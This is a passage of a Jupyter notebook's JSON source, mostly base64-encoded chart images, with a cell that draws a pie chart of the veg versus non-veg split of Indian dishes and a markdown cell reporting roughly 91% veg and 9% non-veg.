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", + "text/plain": [ + "
" + ] + }, + "metadata": {}, + "output_type": "display_data" + } + ], + "source": [ + "# Calculating No. of veg & Non-veg dishes\n", + "plt.figure(figsize=(12,6))\n", + "plt.title('Dietwise distribution of Indian dishes')\n", + "plt.pie(diet_counts, labels=diet_counts.index, autopct='%1.1f%%', startangle=360);\n", + "plt.legend()" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "z5DkwdcDdWPR" + }, + "source": [ + "The pie chart clearly shows the dietwise distribution of Indian dishes.\n", + "\n", + "About 91% of Indian dishes are veg.\n", + "\n", + "And only 9% of Indian dishes are Non-veg." + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 456 + }, + "id": "9rFyMqeKavwf", + "outputId": "d716f7e2-f6fc-4ddf-cd18-9e6fb537c2cb" + }, + "outputs": [ + { + "data": { + "image/png": "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